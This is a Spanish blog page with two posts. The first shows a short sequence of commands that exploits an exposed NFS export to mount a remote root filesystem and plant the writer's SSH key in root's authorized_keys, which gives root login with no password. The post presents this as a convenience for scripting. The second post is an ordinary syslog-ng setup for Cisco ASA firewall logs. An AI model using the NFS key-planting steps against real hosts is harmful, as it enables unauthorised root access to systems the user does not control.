miércoles, 9 de diciembre de 2015

Vulnerabilidad - conexión remota ssh

VULNERABILIDAD - CONEXIÓN REMOTA SSH SIN HACER LOGUIN:
 
A priori podemos verlo como una vulnerabilidad en ubuntu server y en realidad lo es, pero en este caso lo vamos a interpretar como una forma bastante útil de realizar conexiones SSH sin necesidad de realizar el loguin, es decir de introducir usuario y contraseña. Esto es muy util a la hora de hacer script que automaticen tareas por ejemplo.

Aunque parezca evidente este ejercicio deja rastro por lo que no es conveniente  reproducirlo en una máquina ajena.

Para llevar a cabo esta acción necesitamos los siguientes puertos abiertos y en ningun momento necesitamos conocer ni la contraseña ni acceder a la máquina remota, de ahi que sea una vulnerabilidad.

Para comprobar que estos puertos estan abierto se puede utilizar la aplicación archiconocida NMAP, por lo que en este artículo no nos vamos a detener en el uso de esta aplicación sino que suponemos que efectivamente los siguientes puertos estan abiertos:

                     - Protocolo ssh: 22 ssh
                     - Protocolo rpcinfo 111 rpcbin
                     - Protocolo nfs 2049 nfs

Protocolo rpcinfo según la Wikipedia: RPC (Remote Procedure Call) es un protocolo que permite a un programa de ordenador ejecutar código en otra máquina remota sin tener que preocuparse por las comunicaciones entre ambos

Protocolo nfs según la Wikipedia:NFS (Network File System) es un protocolo de nivel de aplicación […] utilizado para sistemas de archivos distribuidos en un entorno de red”, lo cual permite que diferentes ordenadores compartan carpetas de red.

Comandos:

                     rpcinfo -p IP_REMOTA

                     showmount -e IP_REMOTA

                     ssh-keygen

                     mkdir /temp/test

                     mount -t nfs IP_REMOTA:/ /temp/test/ -o nolock

                     cat ~/.ssh/id_rsa.pub >> /tmp/test/root/.ssh/authorized_keys

                     unmount /tmp/test


Syslog-ng para Firewall Cisco ASA

Organizar syslog-ng para Firewall Cisco ASA:

        Una de las grandes preocupaciones de toda empresa es la de poder estar informado en todo momento que es lo que ocurre en su red. El uso de firewalls como ya sabemos poteje la red local de intentos de intrusión, pero ¿Cómo registrar estos eventos?. En este artículo se aborda el uso de una servidor de syslog, mediante la aplicación de linux Syslog-ng.
Lo que se pretende es dividir el registro en diferentes archivos dependiendo del nivel del reporte del syslog.




Configuración en CISCO ASA:

Para configurar el syslog en el firewall debemos indicar:

            -    La ip del servidor Syslog

            -    Puerto y protocolo de transporte en el que recibirá los datos el servidor Syslog.


logging host Nombre_red IP_Syslog

Fig1: Captura syslog server en cisco ASA


La configuración en el ASA es estandar y no entrama nungun tipo de dificultad, por lo que nos pararemos mucho  en la configuración del syslog en el ASA.
Como se ve en la siguiente figura Fig1 al añadir un servidor Syslog debemos indicar la interfaz en la cual se encuentra el servidor, la ip del servidor, el puerto estandar 514 y el protocolo utilizado (UDP).


 Configuración del Syslog-ng:

Como punto de partida en este documento se ha dispuesto para el servidor Syslog  un servidor Linux dedicado con Ubuntu Server 14.04, el cual por defecto incluye la aplicación Syslog-ng.
Lo primero que debemos hacer es una copia del fichero de seguridad, para ello añadimos este comando mediante consola con permisos de administrador:

/* Creamos carpeta donde almacenar los logs */
mkdir /var/log/ASA/

/*Creamos  una copia sobre el fichero de configuración*/

cd /etc/syslog-ng/syslog-ng.conf
mv syslog-ng.conf syslog-ng.conf.old

/*Creamos un nuevo fichero de configuración de syslog-ng*/

vi syslog-ng.conf 

# Listening to incoming UDP Syslog connections
source mysource { udp(); };

#Add the syslog targets:

/*¿Dónde se almacenarán los log? En la carpeta /var/log/ASA/ y se almacenarán con la fecha actual en el momento de la creación del fichero */

destination dest { file("/var/log/ASA/Cisconotice$YEAR$MONTH$R_DAY.log"); };
destination desterror { file("/var/log/ASA/Ciscoerror$YEAR$MONTH$R_DAY.log"); };
destination destwarm { file("/var/log/ASA/Ciscowarm$YEAR$MONTH$R_DAY.log"); };
destination destcri { file("/var/log/ASA/Ciscocri$YEAR$MONTH$R_DAY.log"); };
destination destalert { file("/var/log/ASA/Ciscoalert$YEAR$MONTH$R_DAY.log"); };
destination destdebug { file("/var/log/ASA/Ciscodegub$YEAR$MONTH$R_DAY.log"); };

/* Se filtrará por niveles mediante el uso de filtros. */
filter myfilter { ( level(notice) ); };
filter myfilterwarning { ( level(warning) ); };
filter myfiltererror { ( level(error) ); };
filter myfiltercrit { ( level(crit) ); };
filter myfilteralert { ( level(alert) ); };
filter myfilterdebug { ( level(debug) ); };


log { source(mysource); filter(myfilter); destination(dest);  };
log { source(mysource); filter(myfiltererror); destination(desterror);  };
log { source(mysource); filter(myfiltercrit); destination(destcri);  };
log { source(mysource); filter(myfilterwarning); destination(destwarm);  };
log { source(mysource); filter(myfilteralert); destination(destalert);  };
log { source(mysource); filter(myfilterdebug); destination(destdebug);  };


Arrancamos el servicio mediante el comando:
service syslog-ng restart

Como resultado obtenemos:




Como se puede observar en la captura los ficheros se almacenan con el nombre que hemos apuntado en el archivo de configuración syslog-ng.conf.

En el próximo log mostraré como realizar una rotación de ficheros mediante el uso de logrotate.